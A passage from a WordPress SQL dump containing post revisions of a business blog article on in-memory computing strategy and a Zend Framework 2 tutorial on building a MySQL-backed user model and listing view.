you’re a retailer, to turn your inventory one more time a year. Is there any retailer that doesn’t want to do that?</strong> And not be out of something when somebody wants it?\r\n\r\n&nbsp;\r\n\r\n<strong>If the business unit wants to be an early adopter, but the IT unit is risk-averse and conservative, how does the business user drive this change?</strong>\r\n\r\nI’ve been around a while in this business. If there’s one thing I’ve heard over and over since I started in the 60s, it’s “IT has to communicate with the business”.  We’ve learned that lesson – that doesn’t work. Going out to dinner with your business liaison once a month and talking with them is nothing.\r\n\r\nSo one of the concepts that we came up with around twelve years ago, with respect to BI specifically, is the BI Competency Center. The reason that has worked is because it takes business people and IT people and puts them together, working together, not talking. So they make decisions together.\r\n\r\nIf I’m going to do a new project, all the business units decide what the priority project is. This is a concept that works. Some of your companies can’t afford to have full-time people in it, so you do it virtually: you have a meeting once a week. But they still manage projects, they still make buying decisions on products, they still set strategy for the company. The group should not be run by IT (which is hard to swallow sometimes) – but by the business unit. And most important: the CIO can not be the sponsor. It must be higher in the organization.\r\n\r\nSo if I’m going to have a “business technology competency center” where people from the business and the industry are going to get together to look at new technologies and where they may work, the sponsor has to be the CFO, the CEO, the Board, somebody like that. Then they will work together to do this.\r\n\r\n<strong>Risk-adverse IT organizations are normal.</strong> You have a job to do to keep the lights on and you’re not going to do it if you take risks. It’s that simple – you’re not going to have a job if you take risks.\r\n\r\nSo how do you fit that with adopting new technology? Again, just like with the research and development with one person, you can take a couple of people from your organization as part of this “business innovation competency center”, sponsored by the CEO, so you can go hire some new people to do it if you need to, or move people over and backfill them.\r\n\r\nThey may take on a project with a business unit where you see tremendous value to the business, and you look at something that is, say, in beta. And you look at that technology to enable that business unit to be more competitive, more productive, more profitable, and it doesn’t affect the rest of your organization. You still can deliver the things you’re doing, because it’s “outside”. How do you get to that? You have to get senior management in the organization – not the IT organization – behind you. How do you get that? A small project, to demonstrate to them the value of this kind of thing.\r\n\r\nNow one thing that comes to mind immediately: if you look at what’s happened in the past ten years with data warehousing – my area – every time there’s been a recession, database sales and data warehousing sales have dropped off. <em>Except</em> in the 2008/2009 worldwide recession, where every segment of IT was negative growth except DBMS, which was flat. In that environment, flat was positive.\r\n\r\nWhy? Because when the CIO came in to the CEO and said “I need more money to spend on my data warehouse” and the CEO says “are you nuts, with this economy?!”, you pointed to a flat screen on his wall that had key metrics of the business in “real-time” – for the first time, senior management, the CFO, COO, CEO, could physically see the value that information was bringing to their business.\r\n\r\nIf you can demonstrate physically to them the advantages of some new technology, then they’re going to buy into it and start to fund it. You can’t say something like “I want a new ERP package” – in an economy like 2009, that will get you fired for asking. But if you have some real strong value that you can demonstrate quickly or instantly to them, they’re going to spend money on it if they think it’s going to save money or help them. So that’s what you have to do. Lots of people say “only large companies can afford that” – but anybody can put it together with at couple of visionary people from the business units and one or two people from IT to put this together, and they can be virtual.\r\n\r\nPfizer is one of our BICC case studies. They have 150 people full time in the BI competency center: 75 employees and 75 consultants. Most people can’t afford to do that, and I’m not suggesting you do. But here are models in-between that make sense, that will fit in everybody’s budget.','Why You Need An In-Memory Action Plan','','inherit','open','open','','75-revision-v1','','','2014-07-21 07:36:22','2014-07-21 07:36:22','',75,'http://localhost/yalavarthitechnologies/blog/?p=76',0,'revision','',0),(77,1,'2014-07-21 07:49:21','2014-07-21 07:49:21','','in-memory-action-plan_thumb_thumb','','inherit','open','open','','in-memory-action-plan_thumb_thumb','','','2014-07-21 07:49:21','2014-07-21 07:49:21','',75,'http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/in-memory-action-plan_thumb_thumb.jpg',0,'attachment','image/jpeg',0),(79,1,'2014-07-21 07:51:12','2014-07-21 07:51:12','<strong>Summery:</strong>\r\n<h3>Why you need an in-memory action plan</h3>\r\n<p style=\"text-align: center;\"> <a href=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/in-memory-action-plan_thumb_thumb.jpg\"><img class=\"size-thumbnail wp-image-77 aligncenter\" alt=\"in-memory-action-plan_thumb_thumb\" src=\"http://localhost/yalavarthitechnologies/blog/wp-content/uploads/2014/07/in-memory-action-plan_thumb_thumb-150x150.jpg\" width=\"150\" height=\"150\" /></a></p>\r\n&nbsp;\r\n\r\nYou need to change the way you look at IT infrastructure, applications, and the infrastructure that’s running those applications. <strong>Truly, with some of these new technologies like in-memory technology, there are no barriers, things that you can’t do. Words like “no we can’t do it” start to go away.</strong>\r\n\r\nI’m not going to tell you it’s going to be cheap, I’m not going to tell you there’s not going to be bumps in the road as you’re doing it, but <strong>things that you really thought were not possible are possible now. Period. </strong>[<a href=\"http://timoelliott.com/blog/2013/04/why-in-memory-computing-is-cheaper-and-changes-everything.html\" target=\"_blank\">examples in previous post</a>]\r\n\r\nWhat do you do in your organization to start to adopt or use some of the in-memory technologies? You <em>are</em> going to spend money on this. Whether the TCO is less or not, you still have to build your skills, you still have to buy applications, you still have to buy the technology and infrastructure and things like that.\r\n\r\n&nbsp;\r\n\r\n<strong>Build a business case first.</strong> Show the value of what you’re going to do. The return on investment may be long or may be short. We recommend short at first. Small projects with quick return on investment will get you more projects that are bigger and have a greater impact on the company. But you have to prove it first – that’s the key.\r\n\r\nAssign a small team of people to look at this. Most companies don’t have a research and development organization in IT (the big ones do). But there’s no reason you can’t have one person looking at the things that are possible with the new technologies, looking at how they can make your current applications more efficient, or start to change how you use them.\r\n\r\n<strong>So set up a CTO or department of the CTO that has somebody in there who’s just looking at the stuff that’s out five years or ten years from now</strong>, so that you will be ready to start to do projects with it when it matures to the level of risk that you’re willing to take.\r\n\r\nAlways do a POC, proof of concept. Do not just assume that because it looks good on paper it’s going to work for you. You need to test it with your data, with your applications, with your people.\r\n\r\nBrainstorming. A lot of people don’t realize that your business unit people are much more IT-aware than they have ever been before. Brainstorm with them on what some of these things can happen, in the business, and how they can make use of it. Who has the budget today? IT? Or the business unit? So if you don’t do this, they’re going to do it anyway, and they’re going to implement the technology without IT. The big disadvantage is that the company doesn’t get the broad skill base that is necessary, and that technology is not shared across the business units. It’s much better to keep it in IT, not because you order it so, but because you are moving along in these new ways, with the business units and what they need.\r\n\r\nIf you believe what I’m telling you about in-memory technology, as being part of your future, it’s not too early to start to <strong>define a strategy for how in-memory is going to enter into your organization and be used</strong>.\r\n\r\nYou may decide that part of the strategy is “we’re going to wait two years to let it mature”. That’s fine, but start looking now at where it can fit and when within the organization, so that you’re prepared and ready to accept it when it comes along. If you’re an early adopter, start tomorrow. If you’re more risk-adverse, next year, the year after.\r\n\r\nBut at least understand the strategy for how this is going to fit in your organization, because as we believe, <strong>it IS coming, whether you want it or not,</strong> so you may as well start now to look at a strategy for where it’s going to fit in the future.\r\n<h3>Questions and Answers</h3>\r\n<strong>What would you reply to somebody who said “I’ve already got enough problems in my organization already”?</strong>\r\n\r\nFrom a short-term standpoint, I can’t disagree with that.\r\n\r\nBut some of the new architectures and the in-memory technologies can maybe help you with some of the issues that you have today.\r\n\r\nIt depends on what the issues are. One of the issues a lot of people have is speed: my applications don’t run fast enough. So maybe there’s in-memory technology that can speed that up. Or maybe moving it to mobile will make it run faster.\r\n\r\nLooking at the nexus of forces and looking at technology as a solution to some of your problems may actually help you short-term.\r\n\r\nCloud – maybe cloud can save you some time. I’ll give you a simple example: how are your development costs? Use the public cloud for that. Let your developers develop on an Amazon AWS.\r\n\r\nWhy is that good? Your people don’t have to set up the development environment. You make a phone call, and you have it. When the project’s done, you make another phone call, and not pay for it any more. You don’t have to go out and buy a server that then you’ve got to figure out what to do with after the development project is done. So there’s a place where cloud immediately can help you.\r\n\r\nSo some of this new technology is mature enough to solve some of your problems. And then, when you start putting your head together with the business units and start to have an impact on the competitiveness and the bottom line of the organization, that’s where you can really make a difference. <strong>Some of this technology may enable you, if you’re a retailer, to turn your inventory one more time a year. Is there any retailer that doesn’t want to do that?</strong> And not be out of something when somebody wants it?\r\n\r\n&nbsp;\r\n\r\n<strong>If the business unit wants to be an early adopter, but the IT unit is risk-averse and conservative, how does the business user drive this change?</strong>\r\n\r\nI’ve been around a while in this business. If there’s one thing I’ve heard over and over since I started in the 60s, it’s “IT has to communicate with the business”.  We’ve learned that lesson – that doesn’t work. Going out to dinner with your business liaison once a month and talking with them is nothing.\r\n\r\nSo one of the concepts that we came up with around twelve years ago, with respect to BI specifically, is the BI Competency Center. The reason that has worked is because it takes business people and IT people and puts them together, working together, not talking. So they make decisions together.\r\n\r\nIf I’m going to do a new project, all the business units decide what the priority project is. This is a concept that works. Some of your companies can’t afford to have full-time people in it, so you do it virtually: you have a meeting once a week. But they still manage projects, they still make buying decisions on products, they still set strategy for the company. The group should not be run by IT (which is hard to swallow sometimes) – but by the business unit. And most important: the CIO can not be the sponsor. It must be higher in the organization.\r\n\r\nSo if I’m going to have a “business technology competency center” where people from the business and the industry are going to get together to look at new technologies and where they may work, the sponsor has to be the CFO, the CEO, the Board, somebody like that. Then they will work together to do this.\r\n\r\n<strong>Risk-adverse IT organizations are normal.</strong> You have a job to do to keep the lights on and you’re not going to do it if you take risks. It’s that simple – you’re not going to have a job if you take risks.\r\n\r\nSo how do you fit that with adopting new technology? Again, just like with the research and development with one person, you can take a couple of people from your organization as part of this “business innovation competency center”, sponsored by the CEO, so you can go hire some new people to do it if you need to, or move people over and backfill them.\r\n\r\nThey may take on a project with a business unit where you see tremendous value to the business, and you look at something that is, say, in beta. And you look at that technology to enable that business unit to be more competitive, more productive, more profitable, and it doesn’t affect the rest of your organization. You still can deliver the things you’re doing, because it’s “outside”. How do you get to that? You have to get senior management in the organization – not the IT organization – behind you. How do you get that? A small project, to demonstrate to them the value of this kind of thing.\r\n\r\nNow one thing that comes to mind immediately: if you look at what’s happened in the past ten years with data warehousing – my area – every time there’s been a recession, database sales and data warehousing sales have dropped off. <em>Except</em> in the 2008/2009 worldwide recession, where every segment of IT was negative growth except DBMS, which was flat. In that environment, flat was positive.\r\n\r\nWhy? Because when the CIO came in to the CEO and said “I need more money to spend on my data warehouse” and the CEO says “are you nuts, with this economy?!”, you pointed to a flat screen on his wall that had key metrics of the business in “real-time” – for the first time, senior management, the CFO, COO, CEO, could physically see the value that information was bringing to their business.\r\n\r\nIf you can demonstrate physically to them the advantages of some new technology, then they’re going to buy into it and start to fund it. You can’t say something like “I want a new ERP package” – in an economy like 2009, that will get you fired for asking. But if you have some real strong value that you can demonstrate quickly or instantly to them, they’re going to spend money on it if they think it’s going to save money or help them. So that’s what you have to do. Lots of people say “only large companies can afford that” – but anybody can put it together with at couple of visionary people from the business units and one or two people from IT to put this together, and they can be virtual.\r\n\r\nPfizer is one of our BICC case studies. They have 150 people full time in the BI competency center: 75 employees and 75 consultants. Most people can’t afford to do that, and I’m not suggesting you do. But here are models in-between that make sense, that will fit in everybody’s budget.','Why You Need An In-Memory Action Plan','','inherit','open','open','','75-revision-v1','','','2014-07-21 07:51:12','2014-07-21 07:51:12','',75,'http://localhost/yalavarthitechnologies/blog/?p=79',0,'revision','',0),(80,1,'2014-07-21 08:03:04','2014-07-21 08:03:04','<strong>Summary:</strong>\n\n<b>8.Dealing with the Database (Models)</b>\n\nWe have the User module set up with controller action methods and view scripts, Now it\'s time to look at the model section of our application. We will make use of the Zend Framework class Zend\\Db\\TableGateway\\TableGateway which is used to find, insert, update and delete rows from a database table.\n\nWe are going to use MySQL, via PHP’s PDO driver, so create a database called cruddb, and run these SQL statements to create the user table with some data in it.\n\nCREATE TABLE user(\n\nid int(11) NOT NULL auto_increment,\n\nname varchar(100) NOT NULL,\n\npetname varchar(100) NOT NULL,\n\nPRIMARY KEY (id)\n\n);\n\nINSERT INTO user (name, petname)\n\nVALUES  (\'venkat\',  \'venky\');\n\nINSERT INTO user (name, petname)\n\nVALUES  (\'user1\',  \'petuser1\');\n\nINSERT INTO user (name, petname)\n\nVALUES  (\' user2\',  \'petuser2\');\n\nINSERT INTO user (name, petname)\n\nVALUES  (\'user3\',  \'petuser3\');\n\nINSERT INTO user (name, petname)\n\nVALUES  (\'user4\',  \'petuser4\');\n\nNow we have some data in a database and can write a very simple model for it.\n\n<b>9. Model File</b>\n\nZend Framework does not provide a Zend\\Model component because the model is your business logic and it’s up to you to decide how you want it to work.<b> </b>\n\nFor this project, we are going to create a very simple model by creating an UserTable class that uses the Zend\\Db\\TableGateway\\TableGateway class in which each user object is an User object (known as an <i>entity</i>). This is an implementation of the Table Data Gateway design pattern to allow for interfacing with data in a database table\n\nLet’s start by creating a file called User.php under module/User/src/User/Model:\n\n<b>&lt;?php</b>\n\n<b>namespace User\\Model; </b>\n\n<b>class User</b>\n\n<b>{</b>\n\n<b>    public $id;</b>\n\n<b>    public $name;</b>\n\n<b>    public $petname;</b>\n\n<b> </b>\n\n<b>    public function exchangeArray($data)</b>\n\n<b>    {</b>\n\n<b>        $this-&gt;id     = (!empty($data[\'id\'])) ? $data[\'id\'] : null;</b>\n\n<b>        $this-&gt;name = (!empty($data[\'name\'])) ? $data[\'name\'] : null;</b>\n\n<b>        $this-&gt;petname  = (!empty($data[\'petname\'])) ? $data[\'petname\'] : null;</b>\n\n<b>    }</b>\n\n<b>}</b>\n\n<b>?&gt;</b>\n\nNext, create our UserTable.php file in module/User/src/User/Model directory like this:\n\n<b>&lt;?php</b>\n\n<b>namespace User\\Model;</b>\n\n<b> </b>\n\n<b>use Zend\\Db\\TableGateway\\TableGateway;</b>\n\n<b> </b>\n\n<b>class UserTable</b>\n\n<b>{</b>\n\n<b>    protected $tableGateway;</b>\n\n<b> </b>\n\n<b>    public function __construct(TableGateway $tableGateway)</b>\n\n<b>    {</b>\n\n<b>        $this-&gt;tableGateway = $tableGateway;</b>\n\n<b>    }</b>\n\n<b> </b>\n\n<b>    public function fetchAll()</b>\n\n<b>    {</b>\n\n<b>        $resultSet = $this-&gt;tableGateway-&gt;select();</b>\n\n<b>        return $resultSet;</b>\n\n<b>    }</b>\n\n<b> </b>\n\n<b>    public function getUser($id)</b>\n\n<b>    {</b>\n\n<b>        $id  = (int) $id;</b>\n\n<b>        $rowset = $this-&gt;tableGateway-&gt;select(array(\'id\' =&gt; $id));</b>\n\n<b>        $row = $rowset-&gt;current();</b>\n\n<b>        if (!$row) {</b>\n\n<b>            throw new \\Exception(\"Could not find row $id\");</b>\n\n<b>        }</b>\n\n<b>        return $row;</b>\n\n<b>    }</b>\n\n<b> </b>\n\n<b>    public function saveUser(User $user)</b>\n\n<b>    {</b>\n\n<b>        $data = array(</b>\n\n<b>            \'name\' =&gt; $user-&gt;name,</b>\n\n<b>            \'petname\'  =&gt; $user-&gt;petname,</b>\n\n<b>        );</b>\n\n<b> </b>\n\n<b>        $id = (int)$user-&gt;id;</b>\n\n<b>        if ($id == 0) {</b>\n\n<b>            $this-&gt;tableGateway-&gt;insert($data);</b>\n\n<b>        } else {</b>\n\n<b>            if ($this-&gt;getUser($id)) {</b>\n\n<b>                $this-&gt;tableGateway-&gt;update($data, array(\'id\' =&gt; $id));</b>\n\n<b>            } else {</b>\n\n<b>                throw new \\Exception(\'User id does not exist\');</b>\n\n<b>            }</b>\n\n<b>        }</b>\n\n<b>    }</b>\n\n<b> </b>\n\n<b>    public function deleteUser($id)</b>\n\n<b>    {</b>\n\n<b>        $this-&gt;tableGateway-&gt;delete(array(\'id\' =&gt; $id));</b>\n\n<b>    }</b>\n\n<b>}</b>\n\n<b>?&gt;</b>\n\nFirstly, we set the protected property $tableGateway to the TableGateway instance passed in the constructor. We will use this to perform operations on the database table for our users.\n\nFetchAll():  retrieves all users rows from the database as a ResultSet,\n\ngetUser()   :    retrieves a single row as an User object,\n\nsaveUser() :   either creates a new row in the database or updates a row that already exists and\n\ndeleteUser(): removes the row completely.\n\nThe code for each of these methods is, hopefully, self-explanatory.\n<b>\n10.Using Service Manager to configure the table gateway and inject into the user table.</b>\n\ncreate a method called getServiceConfig() which is automatically called by the ModuleManager and applied to the ServiceManager. We’ll then be able to retrieve it in our controller when we need it.\n\nTo configure the ServiceManager, we can either supply the name of the class to be instantiated or a factory that instantiates the object when the ServiceManager needs it. We start by implementing getServiceConfig() to provide a factory that creates an UserTable. Add this method to the bottom of the Module.php file in module/User\n\n<b>// getAutoloaderConfig() and getConfig() methods here</b>\n\n<b>// Add this method:</b>\n\n<b>    public function getServiceConfig()</b>\n\n<b>    {</b>\n\n<b>        return array(</b>\n\n<b>            \'factories\' =&gt; array(</b>\n\n<b>                \'User\\Model\\UserTable\' =&gt;  function($sm) {</b>\n\n<b>                    $tableGateway = $sm-&gt;get(\'UserTableGateway\');</b>\n\n<b>                    $table = new UserTable($tableGateway);</b>\n\n<b>                    return $table;</b>\n\n<b>                },</b>\n\n<b>                \'UserTableGateway\' =&gt; function ($sm) {</b>\n\n<b>                    $dbAdapter = $sm-&gt;get(\'Zend\\Db\\Adapter\\Adapter\');</b>\n\n<b>                    $resultSetPrototype = new ResultSet();</b>\n\n<b>                    $resultSetPrototype-&gt;setArrayObjectPrototype(new User());</b>\n\n<b>                    return new TableGateway(\'user\', $dbAdapter, null,$resultSetPrototype);</b>\n\n<b>                },</b>\n\n<b>            ),</b>\n\n<b>        );</b>\n\n<b>    }</b>\n\nAnd add these lines at the top of the page after namespace\n\n<b>// Add these import statements:</b>\n\n<b>use User\\Model\\User;</b>\n\n<b>use User\\Model\\UserTable;</b>\n\n<b>use Zend\\Db\\ResultSet\\ResultSet;</b>\n\n<b>use Zend\\Db\\TableGateway\\TableGateway;</b>\n\nThis method returns an array of factories that are all merged together by the ModuleManager before passing to the ServiceManager. The factory for User\\Model\\UserTable uses the ServiceManager to create an UserTableGateway to pass to the UserTable. We also tell the ServiceManager that an UserTableGateway is created by getting a Zend\\Db\\Adapter\\Adapter (also from the ServiceManager) and using it to create a TableGateway object.\n\nFinally, we need to configure the ServiceManager so that it knows how to get a Zend\\Db\\Adapter\\Adapter. This is done using a factory called Zend\\Db\\Adapter\\AdapterServiceFactory which we can configure within the merged config system. Zend Framework 2’s ModuleManager merges all the configuration from each module’s module.config.php file and then merges in the files in config/autoload (*.global.php and then *.local.php files). We’ll add our database configuration information to global.php\n\nModify config/autoload/global.php (in the Zendy Skeleton root ie.. zendy/config/autoload/global.php) with the following code:\n\n<b>&lt;?php</b>\n\n<b>return array(</b>\n\n<b>    \'db\' =&gt; array(</b>\n\n<b>        \'driver\'         =&gt; \'Pdo\',</b>\n\n<b>        \'dsn\'            =&gt; \'mysql:dbname=cruddb;host=localhost\',</b>\n\n<b>        \'username\' =&gt; \'root\',\n\'password\' =&gt; \'\',\n\'driver_options\' =&gt; array(</b>\n\n<b>            PDO::MYSQL_ATTR_INIT_COMMAND =&gt; \'SET NAMES \\\'UTF8\\\'\'</b>\n\n<b>        ),</b>\n\n<b>    ),</b>\n\n<b>    \'service_manager\' =&gt; array(</b>\n\n<b>        \'factories\' =&gt; array(</b>\n\n<b>            \'Zend\\Db\\Adapter\\Adapter\'</b>\n\n<b>                    =&gt; \'Zend\\Db\\Adapter\\AdapterServiceFactory\',</b>\n\n<b>        ),</b>\n\n<b>    ),</b>\n\n<b>);</b>\n\n<b>?&gt;</b>\n\n<b>11.Back to the Controller:</b>\n\nNow that the ServiceManager can create an UserTable instance for us, we can add a method to the controller to retrieve it. Add getUserTable() to the UserController class:\n\nOpen the file: module/User/src/User/Controller/UserController.php:\n\n<b>    public function getUserTable()</b>\n\n<b>    {</b>\n\n<b>        if (!$this-&gt;userTable) {</b>\n\n<b>            $sm = $this-&gt;getServiceLocator();</b>\n\n<b>            $this-&gt; userTable = $sm-&gt;get(\'User\\Model\\UserTable\');</b>\n\n<b>        }</b>\n\n<b>        return $this-&gt;userTable;</b>\n\n<b>    }</b>\n\nAnd this line at the top of the class\n\n<b>protected $userTable;</b>\n\nNow we can  call getUserTable() from within our controller whenever we need to interact with our model.\n\nIf the service locator was configured correctly in Module.php, then we should get an instance of User\\Model\\UserTable when calling getUserTable()\n\nModify this indexAction in the UserController.php in the module/User/src/User/Controller with this code:\n\n<b> public function indexAction()</b>\n\n<b>    {</b>\n\n<b>        return new ViewModel(array(</b>\n\n<b>            \'users\' =&gt; $this-&gt;getUserTable()-&gt;fetchAll(),</b>\n\n<b>        ));</b>\n\n<b>    }</b>\n\nModify the index.phtml in the module/User/view/User/User/ with the following code :\n\n<b>&lt;?php</b>\n\n<b>$title = \'Registered Users\';</b>\n\n<b>$this-&gt;headTitle($title);</b>\n\n<b>?&gt;</b>\n\n<b>&lt;h1&gt;&lt;?php echo $this-&gt;escapeHtml($title); ?&gt;&lt;/h1&gt;</b>\n\n<b>&lt;p&gt;</b>\n\n<b>    &lt;a href=\"&lt;?php echo $this-&gt;url(\'user\', array(\'action\'=&gt;\'add\'));?&gt;\"&gt;Add new user&lt;/a&gt;</b>\n\n<b>&lt;/p&gt;</b>\n\n<b>&lt;table class=\"table\"&gt;</b>\n\n<b>&lt;tr&gt;</b>\n\n<b>    &lt;th&gt;Name&lt;/th&gt;</b>\n\n<b>    &lt;th&gt;PetName&lt;/th&gt;</b>\n\n<b>    &lt;th&gt;&amp;nbsp;&lt;/th&gt;</b>\n\n<b>&lt;/tr&gt;</b>\n\n<b>&lt;?php foreach ($users as $user) : ?&gt;</b>\n\n<b>&lt;tr&gt;</b>\n\n<b>    &lt;td&gt;&lt;?php echo $this-&gt;escapeHtml($user-&gt;name);?&gt;&lt;/td&gt;</b>\n\n<b>    &lt;td&gt;&lt;?php echo $this-&gt;escapeHtml($user-&gt;petname);?&gt;&lt;/td&gt;</b>\n\n<b>    &lt;td&gt;</b>\n\n<b>        &lt;a href=\"&lt;?php echo $this-&gt;url(\'user\',</b>\n\n<b>            array(\'action\'=&gt;\'edit\', \'id\' =&gt; $user-&gt;id));?&gt;\"&gt;Edit&lt;/a&gt;</b>\n\n<b>        &lt;a href=\"&lt;?php echo $this-&gt;url(\'user\',</b>\n\n<b>            array(\'action\'=&gt;\'delete\', \'id\' =&gt; $user-&gt;id));?&gt;\"&gt;Delete&lt;/a&gt;</b>\n\n<b>    &lt;/td&gt;</b>\n\n<b>&lt;/tr&gt;</b>\n\n<b>&lt;?php endforeach; ?&gt;</b>\n\n<b>&lt;/table&gt;</b>\n\nFinally Open your browser and type the url like this “zendy.local/user”\nThen you will see the list of registered users.','Zendframework 2 tutorial part 4','','inherit','open','open','','75-autosave-v1','','','2014-07-21 08:03:05','2014-07-21 08:03:05','',75,'http://localhost/yalavarthitechnologies/blog/?p=80',0,'revision','',0),(81,1,'2014-07-21 08:00:53','2014-07-21 08:00:53','<strong>Summary:</strong>\r\n\r\n<b>8.Dealing with the Database (Models)</b>\r\n\r\nWe have the User module set up with controller action methods and view scripts, Now it\'s time to look at the model section of our application. We will make use of the Zend Framework class Zend\\Db\\TableGateway\\TableGateway which is used to find, insert, update and delete rows from a database table.\r\n\r\nWe are going to use MySQL, via PHP’s PDO driver, so create a database called cruddb, and run these SQL statements to create the user table with some data in it.\r\n\r\nCREATE TABLE user(\r\n\r\nid int(11) NOT NULL auto_increment,\r\n\r\nname varchar(100) NOT NULL,\r\n\r\npetname varchar(100) NOT NULL,\r\n\r\nPRIMARY KEY (id)\r\n\r\n);\r\n\r\nINSERT INTO user (name, petname)\r\n\r\nVALUES  (\'venkat\',  \'venky\');\r\n\r\nINSERT INTO user (name, petname)\r\n\r\nVALUES  (\'user1\',  \'petuser1\');\r\n\r\nINSERT INTO user (name, petname)\r\n\r\nVALUES  (\' user2\',  \'petuser2\');\r\n\r\nINSERT INTO user (name, petname)\r\n\r\nVALUES  (\'user3\',  \'petuser3\');\r\n\r\nINSERT INTO user (name, petname)\r\n\r\nVALUES  (\'user4\',  \'petuser4\');\r\n\r\nNow we have some data in a database and can write a very simple model for it.\r\n\r\n<b>9. Model File</b>\r\n\r\nZend Framework does not provide a Zend\\Model component because the model is your business logic and it’s up to you to decide how you want it to work.<b> </b>\r\n\r\nFor this project, we are going to create a very simple model by creating an UserTable class that uses the Zend\\Db\\TableGateway\\TableGateway class in which each user object is an User object (known as an <i>entity</i>). This is an implementation of the Table Data Gateway design pattern to allow for interfacing with data in a database table\r\n\r\nLet’s start by creating a file called User.php under module/User/src/User/Model:\r\n\r\n<b>&lt;?php</b>\r\n\r\n<b>namespace User\\Model; </b>\r\n\r\n<b>class User</b>\r\n\r\n<b>{</b>\r\n\r\n<b>    public $id;</b>\r\n\r\n<b>    public $name;</b>\r\n\r\n<b>    public $petname;</b>\r\n\r\n<b> </b>\r\n\r\n<b>    public function exchangeArray($data)</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>        $this-&gt;id     = (!empty($data[\'id\'])) ? $data[\'id\'] : null;</b>\r\n\r\n<b>        $this-&gt;name = (!empty($data[\'name\'])) ? $data[\'name\'] : null;</b>\r\n\r\n<b>        $this-&gt;petname  = (!empty($data[\'petname\'])) ? $data[\'petname\'] : null;</b>\r\n\r\n<b>    }</b>\r\n\r\n<b>}</b>\r\n\r\n<b>?&gt;</b>\r\n\r\nNext, create our UserTable.php file in module/User/src/User/Model directory like this:\r\n\r\n<b>&lt;?php</b>\r\n\r\n<b>namespace User\\Model;</b>\r\n\r\n<b> </b>\r\n\r\n<b>use Zend\\Db\\TableGateway\\TableGateway;</b>\r\n\r\n<b> </b>\r\n\r\n<b>class UserTable</b>\r\n\r\n<b>{</b>\r\n\r\n<b>    protected $tableGateway;</b>\r\n\r\n<b> </b>\r\n\r\n<b>    public function __construct(TableGateway $tableGateway)</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>        $this-&gt;tableGateway = $tableGateway;</b>\r\n\r\n<b>    }</b>\r\n\r\n<b> </b>\r\n\r\n<b>    public function fetchAll()</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>        $resultSet = $this-&gt;tableGateway-&gt;select();</b>\r\n\r\n<b>        return $resultSet;</b>\r\n\r\n<b>    }</b>\r\n\r\n<b> </b>\r\n\r\n<b>    public function getUser($id)</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>        $id  = (int) $id;</b>\r\n\r\n<b>        $rowset = $this-&gt;tableGateway-&gt;select(array(\'id\' =&gt; $id));</b>\r\n\r\n<b>        $row = $rowset-&gt;current();</b>\r\n\r\n<b>        if (!$row) {</b>\r\n\r\n<b>            throw new \\Exception(\"Could not find row $id\");</b>\r\n\r\n<b>        }</b>\r\n\r\n<b>        return $row;</b>\r\n\r\n<b>    }</b>\r\n\r\n<b> </b>\r\n\r\n<b>    public function saveUser(User $user)</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>        $data = array(</b>\r\n\r\n<b>            \'name\' =&gt; $user-&gt;name,</b>\r\n\r\n<b>            \'petname\'  =&gt; $user-&gt;petname,</b>\r\n\r\n<b>        );</b>\r\n\r\n<b> </b>\r\n\r\n<b>        $id = (int)$user-&gt;id;</b>\r\n\r\n<b>        if ($id == 0) {</b>\r\n\r\n<b>            $this-&gt;tableGateway-&gt;insert($data);</b>\r\n\r\n<b>        } else {</b>\r\n\r\n<b>            if ($this-&gt;getUser($id)) {</b>\r\n\r\n<b>                $this-&gt;tableGateway-&gt;update($data, array(\'id\' =&gt; $id));</b>\r\n\r\n<b>            } else {</b>\r\n\r\n<b>                throw new \\Exception(\'User id does not exist\');</b>\r\n\r\n<b>            }</b>\r\n\r\n<b>        }</b>\r\n\r\n<b>    }</b>\r\n\r\n<b> </b>\r\n\r\n<b>    public function deleteUser($id)</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>        $this-&gt;tableGateway-&gt;delete(array(\'id\' =&gt; $id));</b>\r\n\r\n<b>    }</b>\r\n\r\n<b>}</b>\r\n\r\n<b>?&gt;</b>\r\n\r\nFirstly, we set the protected property $tableGateway to the TableGateway instance passed in the constructor. We will use this to perform operations on the database table for our users.\r\n\r\nFetchAll():  retrieves all users rows from the database as a ResultSet,\r\n\r\ngetUser()   :    retrieves a single row as an User object,\r\n\r\nsaveUser() :   either creates a new row in the database or updates a row that already exists and\r\n\r\ndeleteUser(): removes the row completely.\r\n\r\nThe code for each of these methods is, hopefully, self-explanatory.\r\n<b>\r\n10.Using Service Manager to configure the table gateway and inject into the user table.</b>\r\n\r\ncreate a method called getServiceConfig() which is automatically called by the ModuleManager and applied to the ServiceManager. We’ll then be able to retrieve it in our controller when we need it.\r\n\r\nTo configure the ServiceManager, we can either supply the name of the class to be instantiated or a factory that instantiates the object when the ServiceManager needs it. We start by implementing getServiceConfig() to provide a factory that creates an UserTable. Add this method to the bottom of the Module.php file in module/User\r\n\r\n<b>// getAutoloaderConfig() and getConfig() methods here</b>\r\n\r\n<b>// Add this method:</b>\r\n\r\n<b>    public function getServiceConfig()</b>\r\n\r\n<b>    {</b>\r\n\r\n<b>        return array(</b>\r\n\r\n<b>            \'factories\' =&gt; array(</b>\r\n\r\n<b>                \'User\\Model\\UserTable\' =&gt;  function($sm) {</b>\r\n\r\n<b>                    $tableGateway = $sm-&gt;get(\'UserTableGateway\');</b>\r\n\r\n<b>                    $table = new UserTable($tableGateway);</b>\r\n\r\n<b>                    return $table;</b>\r\n\r\n<b>                },</b>\r\n\r\n<b>                \'UserTableGateway\' =&gt; function ($sm) {</b>\r\n\r\n<b>                    $dbAdapter = $sm-&gt;get(\'Zend\\Db\\Adapter\\Adapter\');</b>\r\n\r\n<b>                    $resultSetPrototype = new ResultSet();</b>\r\n\r\n<b>                    $resultSetPrototype-&gt;setArrayObjectPrototype(new User());</b>\r\n\r\n<b>                    return new TableGateway(\'user\', $dbAdapter, null,$resultSetPrototype);</b>\r\n\r\n<b>                },</b>\r\n\r\n<b>            ),</b>\r\n\r\n<b>        );</b>\r\n\r\n<b>    }</b>\r\n\r\nAnd add these lines at the top of the page after namespace\r\n\r\n<b>// Add these import statements:</b>\r\n\r\n<b>use User\\Model\\User;</b>\r\n\r\n<b>use User\\Model\\UserTable;</b>\r\n\r\n<b>use Zend\\Db\\ResultSet\\ResultSet;</b>\r\n\r\n<b>use 